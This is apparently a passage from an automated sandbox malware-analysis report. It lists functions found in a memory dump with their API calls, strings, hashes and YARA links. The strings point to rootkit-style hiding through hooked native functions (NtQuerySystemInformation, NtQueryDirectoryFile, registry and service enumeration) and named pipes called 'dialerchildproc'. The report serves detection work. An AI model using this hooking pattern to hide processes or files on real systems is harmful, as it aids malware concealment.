Part of subcall function 0000028092381D14: GetCurrentThread.KERNEL32 ref: 0000028092381D1F

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: dd9417db42475d693b9046a82abaa77db6dc5fbe5d9c87c4060757cd8a10cd86
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 54111E7961664182FBE09721F9CF3592294A79CF45F50C125F97E49793EFB8C14C8710

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092384DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000028092384DF4
VirtualProtect.KERNEL32 ref: 0000028092384E37
FlushInstructionCache.KERNEL32 ref: 0000028092384E4C

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 7ff0bc90c7417ea505ba44d75ec9cd756d9ba22a1f8dffda1187d65e7492569d
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: EBF01D2A619B0480D770DB45E48A35AABA0F38CFD4F14C111FADD0BB6ACE38C5888B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092381ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000028092381628: GetProcessHeap.KERNEL32 ref: 0000028092381633
Part of subcall function 0000028092381628: HeapAlloc.KERNEL32 ref: 0000028092381642
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 00000280923816B2
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 00000280923816DF
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 00000280923816F9
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 0000028092381719
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 0000028092381734
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 0000028092381754
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 000002809238176F
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 000002809238178F
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 00000280923817AA
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 00000280923817CA

Sleep.KERNEL32 ref: 0000028092381AD7
SleepEx.KERNEL32 ref: 0000028092381ADD

Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 00000280923817E5
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 0000028092381805
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 0000028092381820
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 0000028092381840
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 000002809238185B
Part of subcall function 0000028092381628: RegOpenKeyExW.ADVAPI32 ref: 000002809238187B
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 0000028092381896
Part of subcall function 0000028092381628: RegCloseKey.ADVAPI32 ref: 00000280923818A0

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 571647a4fe7cf175e02ab82d363b130e28844f34c49a9e6fb3c918f9ce66d2d9
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 8631106921364141FFD19B2ADACB3A963A5AB4CFD0F04D421EEAD8B297FF24C459C310

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092383844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002809238385C

Strings

dialer, xrefs: 0000028092383855

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 23c2def3e7017a57e0d0a9c06af34614ea317c3275decb7922654cbbafc2f18d
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 99D05E68353209C6FBD4AFA688CE6602350AB0CF44F88C120D92805251EF58898D9B10

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000028092382B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000028092382BD0
lstrlenW.KERNEL32 ref: 0000028092382E0A

Part of subcall function 000002809238199C: OpenProcess.KERNEL32 ref: 00000280923819C2
Part of subcall function 000002809238199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000280923819E0
Part of subcall function 000002809238199C: PathFindFileNameW.SHLWAPI ref: 00000280923819EF
Part of subcall function 000002809238199C: lstrlenW.KERNEL32 ref: 00000280923819FB
Part of subcall function 000002809238199C: StrCpyW.SHLWAPI ref: 0000028092381A0E
Part of subcall function 000002809238199C: CloseHandle.KERNEL32 ref: 0000028092381A1C

GetProcAddress.KERNEL32 ref: 0000028092382BE5

Part of subcall function 000002809238152C: StrCmpIW.SHLWAPI ref: 000002809238155D

Part of subcall function 0000028092383844: StrCmpNIW.SHLWAPI ref: 000002809238385C

StrCmpNIW.SHLWAPI ref: 0000028092382C28
lstrlenW.KERNEL32 ref: 0000028092382D50

Strings

\Device\Nsi, xrefs: 0000028092382C1B
NtQueryObject, xrefs: 0000028092382BDB
ntdll.dll, xrefs: 0000028092382BC9

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 8d733604170286cffb0f2c554e6950e1b2005f45819a2a9e3e21b1e0a6316c75
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: C1B1B57A212A9082EBD48F26D88A76963A5F74CF84F04D016FE6D5B796EF34CD48C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092387D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000028092387DAC
RtlCaptureContext.NTDLL ref: 0000028092387DD9
RtlLookupFunctionEntry.NTDLL ref: 0000028092387DF3
RtlVirtualUnwind.NTDLL ref: 0000028092387E34
IsDebuggerPresent.KERNEL32 ref: 0000028092387E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000028092387EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000028092387EB4

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 75b80e033522ba6b35962cddfca1e4b58c22d828bd3a6d63b5f009fc74084ca6
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 8731507A216B8086EBA0DF60E8853ED7361F789B44F44C42ADA5D47B99EF78C54CC710

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002809238D31D
RtlLookupFunctionEntry.NTDLL ref: 000002809238D335
RtlVirtualUnwind.NTDLL ref: 000002809238D370
IsDebuggerPresent.KERNEL32 ref: 000002809238D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002809238D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002809238D3BE

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: af83be6e397a46e77d4b4b82d8c3c5c00ae88e2dcdecc4550d779e7ff93ff614
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: C131863A215F8086DBA0DF25E88539E73A0F78DB94F50C125EAAD47B59DF78C149CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092387960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002809238798C
GetCurrentThreadId.KERNEL32 ref: 000002809238799A
GetCurrentProcessId.KERNEL32 ref: 00000280923879A6
QueryPerformanceCounter.KERNEL32 ref: 00000280923879B6

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: ad320acbeb40f035ead22dbb47744a96d6391c80115a4a777b7aaf29dfc86251
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 1F11332A712F0189EB80CF60E89A3A933A4F71DB58F448D21DA7D467A5DF78C199C780

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 42b84e0865e9c07b727f5a7b9c9cf13b0063dfb274d7a4397b02992aa11e0958
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 5251C42670179099FB60AB72A88979A7BA1B748F94F14C115FE6C2BB9ADE38C505C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923942F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 881a1123346d4f1d855a82eb134a799bc70400ada81a334d4ee8e2ab18b2dbd0
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: F3F04F756152948EDBE88F29A98771A77A1F3087C0F80C029D69D83E04DA3C80648F04

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000028092381319
GetProcessHeap.KERNEL32 ref: 0000028092381327
HeapAlloc.KERNEL32 ref: 0000028092381338
RegEnumValueW.ADVAPI32 ref: 0000028092381397

Part of subcall function 000002809238152C: StrCmpIW.SHLWAPI ref: 000002809238155D

GetProcessHeap.KERNEL32 ref: 00000280923813DF
HeapAlloc.KERNEL32 ref: 00000280923813ED
GetProcessHeap.KERNEL32 ref: 000002809238140A
HeapFree.KERNEL32 ref: 0000028092381418
lstrlenW.KERNEL32 ref: 0000028092381421
GetProcessHeap.KERNEL32 ref: 000002809238142F
HeapAlloc.KERNEL32 ref: 000002809238143D
StrCpyW.SHLWAPI ref: 000002809238145F
GetProcessHeap.KERNEL32 ref: 0000028092381476
HeapFree.KERNEL32 ref: 0000028092381484

Strings

d, xrefs: 000002809238135A

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 503cf3ea9fcb1b73c0d6a39619e720d223b7728c2ee9f1207ddaf000f18961da
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: AC514C3A616B84C6EB90DF62E48935A77A1F789FC9F04C125DA5A0772ADF7CC049CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092381D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000028092381D1F

Part of subcall function 0000028092381FD4: GetModuleHandleA.KERNEL32 ref: 0000028092381FEC
Part of subcall function 0000028092381FD4: GetProcAddress.KERNEL32 ref: 0000028092381FFD

Part of subcall function 0000028092385B30: GetCurrentThreadId.KERNEL32 ref: 0000028092385B6B

Strings

EnumServicesStatusExW, xrefs: 0000028092381E11, 0000028092381E32
NtQueryDirectoryFile, xrefs: 0000028092381D7F
EnumServiceGroupW, xrefs: 0000028092381DF0
NtResumeThread, xrefs: 0000028092381D62
NtDeviceIoControlFile, xrefs: 0000028092381E56
NtEnumerateKey, xrefs: 0000028092381DB9
NtEnumerateValueKey, xrefs: 0000028092381DD6
NtQuerySystemInformation, xrefs: 0000028092381D45
advapi32.dll, xrefs: 0000028092381DF7, 0000028092381E18
ntdll.dll, xrefs: 0000028092381D2D
NtQueryDirectoryFileEx, xrefs: 0000028092381D9C
sechost.dll, xrefs: 0000028092381E39

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 6484679db389c6d7e0f3dd3690d7e37080f868fb7835729460b24f184e79c44c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 1531746C112A4AE0EBC5FB66EDDB6D46320B74DF44F80D123E47D1A5679E78828DC350

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002809238CE37
FlsGetValue.KERNEL32(?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CE4C
FlsSetValue.KERNEL32(?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CE6D
FlsSetValue.KERNEL32(?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CE9A
FlsSetValue.KERNEL32(?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CEAB
FlsSetValue.KERNEL32(?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CEBC
SetLastError.KERNEL32 ref: 000002809238CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002809238ECCC,?,?,?,?,000002809238BF9F,?,?,?,?,?,0000028092387AB0), ref: 000002809238CF2C

Part of subcall function 000002809238D6CC: HeapAlloc.KERNEL32 ref: 000002809238D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CF54

Part of subcall function 000002809238D744: HeapFree.KERNEL32 ref: 000002809238D75A
Part of subcall function 000002809238D744: GetLastError.KERNEL32 ref: 000002809238D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000028092390A6B,?,?,?,000002809239045C,?,?,?,000002809238C84F), ref: 000002809238CF76

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 46014ec9a305486ebe501d147826e473f3ecfcde2eb19fc67d57a7eee9eb2729
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 87413A2C21324842FBECA73555DF36922825B8CFB0F54CB24F97E5E6E7DE6894098700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092382244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000028092382259
GetCurrentProcessId.KERNEL32 ref: 0000028092382263

Part of subcall function 0000028092381934: OpenProcess.KERNEL32 ref: 0000028092381952
Part of subcall function 0000028092381934: IsWow64Process.KERNEL32 ref: 0000028092381968
Part of subcall function 0000028092381934: CloseHandle.KERNEL32 ref: 0000028092381983

CreateFileW.KERNEL32 ref: 00000280923822BC
WriteFile.KERNEL32 ref: 00000280923822E4
ReadFile.KERNEL32 ref: 0000028092382303
CloseHandle.KERNEL32 ref: 000002809238230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002809238228C
\\.\pipe\dialerchildproc32, xrefs: 0000028092382293

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 737b34abbb822d793e95a8b0942baec510122db952636b9ca102555e3326cb9c
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: D3213D3A619740C3EB509B25E59A35973A0F789BE4F50C215EA6D06BA9DFBCC189CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002809238A5A1

Part of subcall function 000002809238B414: __GetUnwindTryBlock.LIBCMT ref: 000002809238B457
Part of subcall function 000002809238B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002809238B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002809238A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002809238A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002809238A9DA

Strings

csm, xrefs: 000002809238A622
csm, xrefs: 000002809238A5BB
csm, xrefs: 000002809238A69C

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 9bc5a333917bf80fd968e05934bc567343bc4708580eaa4f1e8f9a2e5a27b964
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 02E1907A6167408AEBA0DF65D48A39D77A0F749B98F10C115FEAD5BB5ACF38C089C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002809238F510
GetProcAddress.KERNEL32 ref: 000002809238F51C

Strings

api-ms-, xrefs: 000002809238F45A
ext-ms-, xrefs: 000002809238F46D

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 17d4fd8409afe9c248ff9fe60d3c2a89b5829e2bf12111ef7b2ee945664a58ed
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0A41D82A317A0091FB96DB26A88A7557391F74DFE0F55C126ED2D8B786EF38C44D8300

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000280923810B1
RegEnumValueW.ADVAPI32 ref: 0000028092381117
GetProcessHeap.KERNEL32 ref: 000002809238115A
HeapAlloc.KERNEL32 ref: 0000028092381168
GetProcessHeap.KERNEL32 ref: 0000028092381185
HeapFree.KERNEL32 ref: 0000028092381193

Strings

d, xrefs: 00000280923810D6

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 0d68b02ae67671f857516eecb0848f9714f5d760cf27ad3bd8b0b321f4de517c
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 79417177615B84C6E7A0CF21E48939E77A1F389F98F44C115EA9A0B759DF38C589CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002809238C7DE,?,?,?,?,?,?,?,?,000002809238CF9D,?,?,00000001), ref: 000002809238D087
FlsSetValue.KERNEL32(?,?,?,000002809238C7DE,?,?,?,?,?,?,?,?,000002809238CF9D,?,?,00000001), ref: 000002809238D0A6
FlsSetValue.KERNEL32(?,?,?,000002809238C7DE,?,?,?,?,?,?,?,?,000002809238CF9D,?,?,00000001), ref: 000002809238D0CE
FlsSetValue.KERNEL32(?,?,?,000002809238C7DE,?,?,?,?,?,?,?,?,000002809238CF9D,?,?,00000001), ref: 000002809238D0DF
FlsSetValue.KERNEL32(?,?,?,000002809238C7DE,?,?,?,?,?,?,?,?,000002809238CF9D,?,?,00000001), ref: 000002809238D0F0

Strings

1%, xrefs: 000002809238D0CE
Y%, xrefs: 000002809238D0A6

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 508e0f7abfabd1e83ed6e9d602a77b852fec6b871bcf21c5731b16c6c3b63ebd
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A811296860624842FBE8B73669DB36962415F8CBA0F54D324F87D5E6EBDE68C40A8300

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092387510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000028092387538
__scrt_acquire_startup_lock.LIBCMT ref: 000002809238758A
_RTC_Initialize.LIBCMT ref: 00000280923875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000280923875DE
__scrt_release_startup_lock.LIBCMT ref: 0000028092387609

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c59a68f37da5fcd38c13db7e9c43383aab0ea90acc3110028211fabad8b42c56
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 39817E2D60364186FBD4DB6998CB3A96292AB8DF80F14C425F97D4B797EF78C84D8700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092389DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000028092389E49
GetLastError.KERNEL32 ref: 0000028092389E57
LoadLibraryExW.KERNEL32 ref: 0000028092389E81
FreeLibrary.KERNEL32 ref: 0000028092389EC7
GetProcAddress.KERNEL32 ref: 0000028092389ED3

Strings

api-ms-, xrefs: 0000028092389E69

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 53c3d0c237e81dda78ce487c373411d963f88852fce3ba3e19670fa051cc19a3
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 6E31E62A313A40E1EFA1DB02A98A7656794B74CFA0F59C525EE3D0F792DF39D48D8700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092393DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000028092393DE5
GetLastError.KERNEL32 ref: 0000028092393DF1
CloseHandle.KERNEL32 ref: 0000028092393E09
CreateFileW.KERNEL32 ref: 0000028092393E34
WriteConsoleW.KERNEL32 ref: 0000028092393E53

Strings

CONOUT$, xrefs: 0000028092393E15

Memory Dump Source

